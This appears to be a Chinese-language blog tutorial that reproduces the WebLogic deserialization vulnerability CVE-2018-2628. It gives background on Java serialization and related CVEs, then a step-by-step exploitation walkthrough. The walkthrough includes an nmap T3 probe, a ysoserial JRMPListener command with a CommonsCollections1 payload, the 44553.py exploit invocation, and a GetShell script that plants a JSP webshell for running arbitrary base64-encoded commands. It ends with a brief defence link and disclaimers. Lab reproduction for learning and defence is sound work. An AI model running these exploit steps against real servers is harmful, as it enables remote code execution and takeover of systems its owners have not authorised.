注意:
本系列分享,意在大家了解漏洞,防御漏洞,在做完一个漏洞复现完成后,
请及时使用最后防御手法进行防御,或特定情况根据特定手法防御。
记住,切勿用于违法行为。
进入正题
Java反序列化漏洞操作
CVE-2018-2628
1、Java序列化与Java反序列化:
Java序列化:即把Java对象转换为字节序列的过程
Java反序列化:是指把字节序列恢复为Java对象的过程
目的:
序列化与反序列化目的是为了让Java对象脱离Java运行环境的一种手段,可以有效的实现多平台之间的通信,对象持久化存储。
2、Java反序列化漏洞成因:
在上述情况中所说的转换过程中,出现了漏洞,加之暴露或间接暴露出可反序列化的API,导致用户可以操作,并传入数据,或精心构造恶意代码。
3、相关历史漏洞简介:
#CVE-2015-4852
Weblogic直接反序列化
是基于Weblogic t3协议引起远程代码执行的反序列化漏洞
#CVE-2016-0638
Weblogic直接反序列化
基于Weblogic t3协议引起远程代码执行的反序列化漏洞 漏洞实为CVE-2015-4852绕过拜Oracle一直以来的黑名单修复方式所赐
#CVE-2016-3510
基于Weblogic t3协议引起远程代码执行的反序列化漏洞
#CVE-2017-3248
基于Weblogic t3协议引起远程代码执行的反序列化漏洞 属于Weblogic JRMP反序列化
#CVE-2018-2628
基于Weblogic t3协议引起远程代码执行的反序列化漏洞 属于 WeblogicJRMP反序列化
#CVE-2018-2893
基于Weblogic t3协议引起远程代码执行的反序列化漏洞 实为CVE-2018-2628绕过同样拜Oracle一直以来的黑名单修复方式所赐 属于WeblogicJRMP反序列化
4、该漏洞涉及版本:
10.3.6.0,12.1.3.0,12.2.1.2,12.2.1.3,...
5、漏洞复现流程:
方法一:
1、首先,使用Nmap下的weblogic-t3-info脚本来探测一下目标信息,是否正在使用T3协议,
具体命令:
nmap -n -v -p 7001 目标地址 --script=weblogic-t3-info
返回信息如下,代表目标正在使用T3协议:
2、使用Python脚本针对目标进行探测,是否存在漏洞Java反序列化漏洞,脚本地址:看文末获取方式
3、根据前面探测的信息,我们发现目标存在Java反序列化漏洞,来让我们进一步攻击它吧。此时我们需要使用到“ysoserial”这个工具。
ysoserial工具地址:看文末获取方式
4、首先使用ysoserial在攻击机上启动一个 JRMP server,输入以下命令:
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener[listen port] CommonsCollections1 [command]
[listenport]:攻击机要监听的端口
[command]:想要执行的命令
5、使用44553.py脚本来向目标发送数据包(基于python2.x),该脚本会让靶机调用相关服务来访问我们启动的JRMP server,执行我们想要执行的命令。
python 44553.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip][JRMPListener port] [JRMPClient]
[victimip]:目标weblogic的IP
[victimport]:目标weblogic的端口
[pathto ysoserial] :ysoserial的路径
[JRMPListenerip] :第一步中启动JRMP Server的IP地址
[JRMPListener port] :第一步中启动JRMP Server的I端口地址
[JRMPClient]:执行JRMPClient的类,可选的值是JRMPClient或JRMPClient2
6、等待一小会时间,双方会进行握手,进行数据交互,然后成功执行命令。
上图该实例仅是执行过程中的一部分,具体请实践观察。
1、现在我们进入虚拟中,来查看我们的文件是否执行成功,首先进入虚拟机命令:
docker ps -a 来查看想要进入容器的id
docker exec -ti 容器id或者容器名称 /bin/bash
9、通过上图发现成功的执行了创建文件命令。
方法二:
该方法,来自github上的一个python脚本,可以使用该方法执行一些命令。
地址:
https://github.com/jas502n/CVE-2018-2628
1、 该文件我同样下载下来了,在下面打包连接中,我们使用的脚本地址在:
看文末获取
我们首先使用的是CVE-2018-2628-Getshell.py这个脚本,该脚本基于python2.x
执行命令:
pythonCVE-2018-2628-Getshell.py 目标地址 目标端口 test11.js
(注意: 上面test11.jsp为你起的文件名,改名字需要长度等于10)
2、现在我们已经获取了一个地址,打开浏览器访问它:
3、我们执行了whoami的命令。上面 tom后面的变量即为 whomai的base64编码,我们可以使用kali 来生成任意base64编码,来替换该变量,以达到执行任意命令:
4、不难发现,上面我的test11变为了test12,是因为我在进行多次测试的时候发现,生成完一次脚本的连接仅能访问一次,第二次访问会返回404,但这个脚本确实有很多学习的地方。大家可以学学作者思路,进行自己的改造。
重要
防御:
推荐使用该文章方法修复漏洞:
http://www.talkwithtrend.com/Article/178555
---关于工具后台发送---
CVE20182628
请勿使用该工具进行违法行为
仅可以用于自己网站检测
除了上述两种方法
还有其他两个自测工具